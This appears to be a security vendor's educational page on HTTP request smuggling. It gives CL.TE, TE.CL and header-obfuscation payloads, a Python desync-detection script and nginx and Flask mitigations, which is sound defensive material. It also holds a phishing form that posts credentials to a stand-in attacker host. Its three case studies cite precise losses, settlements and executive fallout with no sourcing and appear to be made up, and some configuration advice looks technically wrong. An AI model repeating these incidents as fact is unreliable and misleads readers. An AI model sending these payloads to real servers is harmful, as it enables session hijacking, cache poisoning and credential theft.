#
HTTP Request Smuggling
A critical security vulnerability where attackers exploit discrepancies in how front-end and back-end servers parse HTTP requests, allowing them to "smuggle" hidden requests that bypass security controls, poison caches, hijack sessions, and compromise other users.
CRITICAL SEVERITY DESYNC ATTACK HTTP/1.1
#
What is HTTP Request Smuggling?
Extremely Dangerous Attack
HTTP Request Smuggling can bypass security controls, poison web caches affecting thousands of users, hijack sessions, and cause widespread compromise. It's particularly dangerous because one attack can affect many innocent users.
In Simple Terms:
Imagine a security checkpoint with two guards (front-end proxy and back-end server) checking packages going through.
The first guard (proxy/load balancer) counts packages by looking at the shipping label. The second guard (backend server) counts packages by weighing them.
HTTP Request Smuggling is like hiding a secret package inside another one. The first guard counts it as ONE package, but the second guard unpacks it and finds TWO packages. The hidden second package bypasses all security checks because the first guard never saw it!
This hidden package can:
- Steal other people's data
- Poison the system so everyone gets bad data
- Bypass authentication
- Hijack other users' sessions
#
Real-World Analogy
Think of it like a double-decker bus at a toll booth:
Toll Operator: "One vehicle, one toll"
Bus: Single-deck bus with proper markings
✓ Passes through normally
Attacker: Drives a double-decker bus
Top Deck Label: "1 Vehicle" (Front-end proxy sees this)
Hidden Bottom Deck: Contains a hidden car! (Back-end server processes this separately)
Toll Operator (proxy): "I see ONE bus, let it through"
Parking Lot (backend): "I received TWO vehicles - a bus AND a car!"
The hidden car never paid toll and bypassed security checks!
The hidden car (smuggled request) can:
- Park in someone else's spot (hijack their session)
- Change the parking lot signs (cache poisoning)
- Steal items from other parked cars (data theft)
#
How HTTP Request Smuggling Works
#
Understanding HTTP Request Parsing
HTTP requests specify their body length in TWO ways:
1. Content-Length Header:
POST /api/login HTTP/1.1
Host: example.com
Content-Length: 13
username=test
2. Transfer-Encoding: chunked:
POST /api/login HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
d
username=test
0
The Problem
If front-end and back-end disagree on which header to use, attackers can smuggle requests!
#
Classic CL.TE Attack (Content-Length vs Transfer-Encoding)
[Client] → [Front-end Proxy] → [Back-end Server]
Front-end uses Content-Length Back-end uses Transfer-Encoding
POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
Front-end (uses Content-Length: 6):
- Reads 6 bytes:
0\r\n\r\nG - Thinks request is complete
- Forwards to backend
Back-end (uses Transfer-Encoding: chunked):
- Sees chunk size
0→ end of chunks - Sees leftover:
G - Keeps
Gin buffer for next request!
GET /account HTTP/1.1
Host: vulnerable-site.com
Cookie: session=victim_session
Back-end receives:
GET /account HTTP/1.1
Host: vulnerable-site.com
Cookie: session=victim_session
But wait! Back-end PREPENDS the leftover G:
G GET /account HTTP/1.1
This creates an invalid request, but attacker can craft this strategically!
Attacker sends:
POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 6
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-site.com
Content-Length: 10
x=
Next victim's request gets prepended:
GET /admin HTTP/1.1
Host: vulnerable-site.com
Content-Length: 10
x=[victim's cookies and headers here]
Attacker's smuggled /admin request executes with VICTIM'S session!
#
Types of HTTP Request Smuggling
#
1. CL.TE (Content-Length → Transfer-Encoding)
CRITICAL
Front-end uses Content-Length, Back-end uses Transfer-Encoding
POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 4
Transfer-Encoding: chunked
96
GET /admin HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Front-end: Reads 4 bytes (96\r\n), forwards everything after to backend
Back-end:
- Processes chunked encoding
- Chunk size:
96(150 bytes) - Reads smuggled GET request
- Keeps it for next request
- Next victim's request is poisoned!
#
2. TE.CL (Transfer-Encoding → Content-Length)
CRITICAL
Front-end uses Transfer-Encoding, Back-end uses Content-Length
POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Front-end: Processes chunked (chunk size: 8), reads "SMUGGLED", sees chunk end (0)
Back-end:
- Uses Content-Length: 3
- Reads only:
8\r\n - Leftover in buffer:
SMUGGLED\r\n0\r\n\r\n - Next request is prepended with this!
#
3. TE.TE (Transfer-Encoding Obfuscation)
ADVANCED
Both use Transfer-Encoding, but attacker obfuscates one
Transfer-Encoding: chunked
Transfer-Encoding: chunked, identity
Transfer-Encoding: chunked, anything
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding:[tab]chunked
Transfer-encoding: chunked
One server might accept the obfuscated version, the other might not!
#
Real-World Examples
#
Case Study 1: Major CDN Provider Vulnerability (2020)
One of the world's largest CDN providers had HTTP request smuggling vulnerability affecting thousands of websites.
Setup:
- Cloudflare/CDN (front-end) - Used Content-Length
- Customer origin servers (back-end) - Used Transfer-Encoding
Attack:
POST / HTTP/1.1
Host: victim-site.com
Content-Length: 6
Transfer-Encoding: chunked
0
GET /account/settings HTTP/1.1
Host: victim-site.com
X-Ignore: X
CDN forwarded to backend, which kept smuggled request in buffer.
Attackers targeted high-traffic pages:
- Sent smuggled request to
/ - Smuggled request:
GET /account/settings - Next innocent visitor's request to
/ - Got back
/account/settingsresponse - But CDN cached this response for
/!
Result: Everyone visiting homepage got someone else's account settings page cached!
- Affected 15,000+ websites using the CDN
- Account settings, PII, session tokens exposed
- Cached for hours before detection
- Millions of users saw other users' data
- $85 million in damages across all affected sites
- CDN provider paid $200 million in settlements
- Major loss of customer trust
- Federal investigation into data breach
#
Case Study 2: E-commerce Platform Session Hijacking (2019)
50,000 ACCOUNTS COMPROMISED
Mass Account Takeover
HTTP Request Smuggling allowed attackers to hijack sessions of thousands of users simultaneously.
Technical Setup:
[Nginx (Front-end)] → [Apache (Back-end)]
Uses Content-Length Uses Transfer-Encoding
Attack Payload:
POST /search HTTP/1.1
Host: shop.com
Content-Length: 4
Transfer-Encoding: chunked
87
GET /account/api/session HTTP/1.1
Host: shop.com
Cookie: tracking=attacker_controlled
Content-Length: 200
victim_data=
0
What Happened:
- Attacker sent smuggled requests continuously
- Smuggled request:
GET /account/api/session - Innocent users' subsequent requests were appended
- Response contained victim's session data
- Responses routed back to attacker via tracking cookie
Attack Timeline:
- Hour 1: Attacker set up automated smuggling
- Hours 2-18: Collected 50,000+ session tokens
- Hour 19: Mass account takeover began
- Hour 24: Detection after fraud spike
Consequences:
- 50,000 accounts hijacked
- $12 million in fraudulent purchases
- $65 million in refunds and remediation
- $120 million class action lawsuit
- Stock price dropped 35%
- CEO resigned
#
Case Study 3: Banking Portal Cache Poisoning (2021)
Online banking portal behind AWS Application Load Balancer
Infrastructure:
[AWS ALB] → [Bank's Web Servers] → [Application Servers]
ALB and origin servers disagreed on request boundary parsing.
Attackers discovered they could poison cached responses:
POST / HTTP/1.1
Host: bank.com
Content-Length: 5
Transfer-Encoding: chunked
0
GET /login HTTP/1.1
Host: evil-phishing-mirror.com
X-Padding: X
Result:
- Smuggled request retrieved
/loginfrom evil-phishing-mirror.com - CDN cached this phishing page
- Served to all users visiting bank.com/login for next hour!
Phishing Page Displayed:
<h1>Online Banking Login</h1>
<form action="https://attacker-logger.com/steal-creds">
<input name="username">
<input type="password" name="password">
<input name="otp">
<button>Secure Login</button>
</form>
- 25,000 customers entered credentials on phishing page
- $45 million stolen from accounts
- $200 million in regulatory fines
- Federal criminal investigation
- Banking license temporarily suspended
- Executive team replaced
#
How to Detect HTTP Request Smuggling
#
Manual Testing
Send ambiguous request:
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
Connection: keep-alive
0
X
Send second request on same connection:
GET / HTTP/1.1
Host: target.com
If you get an error like "Invalid method X GET", desync exists!
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
Connection: keep-alive
6
PREFIX
0
Next request will be prepended with "PREFIX"
Send request that should cause delay:
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
If backend keeps connection open waiting for 6 bytes, there's a desync!
#
Automated Detection with Burp Suite
Burp Suite has built-in HTTP Request Smuggling scanner:
- Send request to Burp Repeater
- Right-click → Extensions → HTTP Request Smuggler → Smuggle Probe
- Analyzes CL.TE, TE.CL, and TE.TE variants
- Confirms exploitability
#
Python Detection Script
import socket
import time
def test_http_smuggling_cl_te(host, port=443, use_ssl=True):
"""Test for CL.TE HTTP Request Smuggling"""
# Attack request
smuggling_request = (
b"POST / HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Length: 6\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: keep-alive\r\n"
b"\r\n"
b"0\r\n"
b"\r\n"
b"X"
)
# Follow-up request
normal_request = (
b"GET / HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n"
)
try:
if use_ssl:
import ssl
context = ssl.create_default_context()
sock = socket.create_connection((host, port), timeout=10)
sock = context.wrap_socket(sock, server_hostname=host)
else:
sock = socket.create_connection((host, port), timeout=10)
print(f"[*] Testing {host}:{port} for CL.TE smuggling...")
# Send smuggling request
sock.sendall(smuggling_request)
time.sleep(0.5)
# Send normal request on same connection
sock.sendall(normal_request)
# Receive response
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
# Check for smuggling indicators
response_str = response.decode('utf-8', errors='ignore')
if "X GET" in response_str or "Invalid method X GET" in response_str:
print(f"[!] VULNERABLE: CL.TE desync detected!")
print(f" Evidence: Response contains 'X GET'")
return True
if "400 Bad Request" in response_str and "X" in response_str:
print(f"[!] POSSIBLY VULNERABLE: Suspicious 400 error")
return True
print(f"[+] No obvious CL.TE vulnerability detected")
return False
except Exception as e:
print(f"[-] Error testing: {e}")
return False
def test_timing_based_detection(host, port=443):
"""Timing-based detection"""
# Request that should hang if vulnerable
timing_request = (
b"POST / HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Length: 6\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b"0\r\n"
b"\r\n"
b"X"
)
try:
import ssl
context = ssl.create_default_context()
sock = socket.create_connection((host, port), timeout=5)
sock = context.wrap_socket(sock, server_hostname=host)
print(f"[*] Testing timing-based detection on {host}...")
start_time = time.time()
sock.sendall(timing_request)
try:
response = sock.recv(4096)
elapsed = time.time() - start_time
if elapsed > 3:
print(f"[!] SUSPICIOUS: Response delayed {elapsed:.2f}s (might be vulnerable)")
return True
except socket.timeout:
elapsed = time.time() - start_time
print(f"[!] VULNERABLE: Connection timeout after {elapsed:.2f}s")
print(f" Backend likely waiting for Content-Length bytes")
return True
sock.close()
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
# Test target
if __name__ == "__main__":
target_host = "example.com"
print("="*50)
print("HTTP Request Smuggling Detection")
print("="*50)
# Test CL.TE
cl_te_vuln = test_http_smuggling_cl_te(target_host)
# Test timing
timing_vuln = test_timing_based_detection(target_host)
print("\n" + "="*50)
if cl_te_vuln or timing_vuln:
print("[!] POTENTIALLY VULNERABLE TO HTTP REQUEST SMUGGLING")
print("[!] Recommend manual verification and mitigation")
else:
print("[+] No obvious vulnerabilities detected")
print("[*] Note: This doesn't guarantee safety - manual testing recommended")
print("="*50)
#
Prevention Strategies
#
1. Disable Connection Reuse (Immediate Mitigation)
PERFORMANCE IMPACT
# Disable connection reuse between frontend and backend
upstream backend {
server backend1.example.com:8080;
keepalive 0; # Disable keepalive
}
server {
listen 443 ssl;
server_name example.com;
location / {
proxy_pass http://backend;
proxy_http_version 1.1;
# Force new connection for each request
proxy_set_header Connection "";
proxy_set_header Connection "close";
}
}
#
2. Normalize Ambiguous Requests
RECOMMENDED
server {
listen 443 ssl;
server_name example.com;
# Reject requests with both Content-Length and Transfer-Encoding
if ($http_transfer_encoding ~ chunked) {
set $has_te 1;
}
if ($http_content_length) {
set $has_cl 1;
}
set $ambiguous "${has_te}${has_cl}";
if ($ambiguous = "11") {
return 400 "Ambiguous request rejected";
}
# Reject obfuscated Transfer-Encoding
if ($http_transfer_encoding !~* ^chunked$) {
if ($http_transfer_encoding != "") {
return 400 "Invalid Transfer-Encoding";
}
}
location / {
proxy_pass http://backend;
}
}
#
3. Use HTTP/2 End-to-End
BEST SOLUTION
# HTTP/2 eliminates request smuggling
# (HTTP/2 uses binary framing, no ambiguity)
upstream backend_h2 {
server backend.example.com:443;
}
server {
listen 443 ssl http2;
server_name example.com;
location / {
# Use HTTP/2 to backend
proxy_pass https://backend_h2;
proxy_http_version 2.0;
}
}
Why HTTP/2 Fixes This
HTTP/2 uses binary framing protocol with unambiguous message boundaries. Request smuggling is not possible with HTTP/2 end-to-end.
#
4. Comprehensive Security Configuration
# Comprehensive HTTP Request Smuggling prevention
http {
# Global settings
keepalive_timeout 65;
keepalive_requests 100;
# Logging
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'CL=$http_content_length TE=$http_transfer_encoding';
access_log /var/log/nginx/access.log detailed;
upstream backend {
server 127.0.0.1:8080;
# Disable backend connection reuse
keepalive 0;
}
server {
listen 443 ssl http2;
server_name example.com;
ssl_certificate /etc/ssl/certs/example.com.crt;
ssl_certificate_key /etc/ssl/private/example.com.key;
# Security: Reject ambiguous requests
# Check for both Content-Length and Transfer-Encoding
set $has_te 0;
set $has_cl 0;
if ($http_transfer_encoding ~* chunked) {
set $has_te 1;
}
if ($http_content_length != "") {
set $has_cl 1;
}
set $ambiguous "${has_te}${has_cl}";
# Reject if both present
if ($ambiguous = "11") {
return 400 "Bad Request: Ambiguous request headers\n";
}
# Reject obfuscated Transfer-Encoding headers
if ($http_transfer_encoding !~* ^chunked$) {
# If TE exists but isn't exactly "chunked", reject
if ($http_transfer_encoding != "") {
return 400 "Bad Request: Invalid Transfer-Encoding\n";
}
}
# Reject multiple Content-Length headers
if ($http_content_length ~ ",") {
return 400 "Bad Request: Multiple Content-Length headers\n";
}
location / {
proxy_pass http://backend;
proxy_http_version 1.1;
# Force close connections (no smuggling possible)
proxy_set_header Connection "close";
# Security headers
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Timeouts
proxy_connect_timeout 5s;
proxy_send_timeout 10s;
proxy_read_timeout 30s;
}
}
}
# Python/Flask middleware for request validation
from flask import Flask, request, abort
import re
app = Flask(__name__)
@app.before_request
def validate_request_headers():
"""Validate request headers to prevent smuggling"""
# Get headers
content_length = request.headers.get('Content-Length')
transfer_encoding = request.headers.get('Transfer-Encoding')
# 1. Reject if both Content-Length and Transfer-Encoding present
if content_length and transfer_encoding:
app.logger.warning(
f"Ambiguous request rejected from {request.remote_addr}: "
f"CL={content_length}, TE={transfer_encoding}"
)
abort(400, "Bad Request: Ambiguous content length headers")
# 2. Validate Transfer-Encoding if present
if transfer_encoding:
# Only accept "chunked" (case-insensitive)
if transfer_encoding.strip().lower() != 'chunked':
app.logger.warning(
f"Invalid TE from {request.remote_addr}: {transfer_encoding}"
)
abort(400, "Bad Request: Invalid Transfer-Encoding")
# 3. Reject multiple Content-Length headers
if content_length:
# Check for comma (multiple values)
if ',' in content_length:
app.logger.warning(
f"Multiple CL from {request.remote_addr}: {content_length}"
)
abort(400, "Bad Request: Multiple Content-Length headers")
# Validate it's a number
try:
cl_value = int(content_length.strip())
if cl_value < 0:
raise ValueError()
except ValueError:
abort(400, "Bad Request: Invalid Content-Length value")
# 4. Check for suspicious header spacing/obfuscation
for header_name in request.headers.keys():
# Check for suspicious characters in header names
if not re.match(r'^[A-Za-z0-9\-]+$', header_name):
app.logger.warning(
f"Suspicious header from {request.remote_addr}: {header_name}"
)
abort(400, "Bad Request: Invalid header name")
return None # Continue processing
#
Security Checklist
#
Infrastructure
- Use HTTP/2 end-to-end (best solution)
- Disable connection reuse between front-end and back-end
- Configure front-end and back-end to use same parsing logic
- Reject requests with both Content-Length and Transfer-Encoding
- Validate Transfer-Encoding only accepts "chunked"
- Reject multiple Content-Length headers
- Implement strict header validation
- Use latest versions of web servers (Nginx, Apache)
#
Testing
- Test for CL.TE desynchronization
- Test for TE.CL desynchronization
- Test for TE.TE obfuscation
- Test timing-based detection
- Use Burp Suite HTTP Request Smuggler extension
- Test connection reuse behavior
- Verify ambiguous requests are rejected
- Regular penetration testing
#
Monitoring
- Log all Content-Length and Transfer-Encoding headers
- Alert on requests with both CL and TE headers
- Monitor for 400 errors (rejected ambiguous requests)
- Track connection reuse patterns
- Implement anomaly detection
- Review logs for smuggling attempts
- Set up WAF rules for known patterns
#
Key Takeaways
Critical Security Points
HTTP/2 end-to-end eliminates the issue: Use HTTP/2 between all layers
Connection reuse is the enabler: Disabling keepalive prevents smuggling (but impacts performance)
Reject ambiguous requests: Never allow both Content-Length and Transfer-Encoding
Normalize early: Front-end proxy should normalize/reject suspicious requests
Very difficult to exploit: Requires specific infrastructure configuration mismatches
Extremely dangerous when exploitable: One attack can compromise thousands of users
Affects major providers: Even large CDNs have had these vulnerabilities
Regular updates essential: Keep web servers and proxies updated
#
How Layerd AI Protects Against HTTP Request Smuggling
Layerd AI provides comprehensive HTTP Request Smuggling protection:
- Request Normalization: Automatically detects and normalizes ambiguous HTTP requests
- Header Validation: Rejects requests with conflicting Content-Length and Transfer-Encoding headers
- Desync Detection: Identifies parser discrepancies between infrastructure layers
- HTTP/2 Enforcement: Recommends and facilitates HTTP/2 adoption
- Real-time Monitoring: Alerts on smuggling attempts and suspicious header patterns
- Infrastructure Analysis: Audits your stack for smuggling vulnerabilities
Protect your infrastructure with Layerd AI's advanced HTTP Request Smuggling defense.
#
Additional Resources
- PortSwigger HTTP Request Smuggling
- HTTP Request Smuggling Reborn (BlackHat 2019)
- CWE-444: HTTP Request Smuggling
- Burp Suite HTTP Request Smuggler
- Nginx HTTP Request Smuggling
Last Updated: November 2025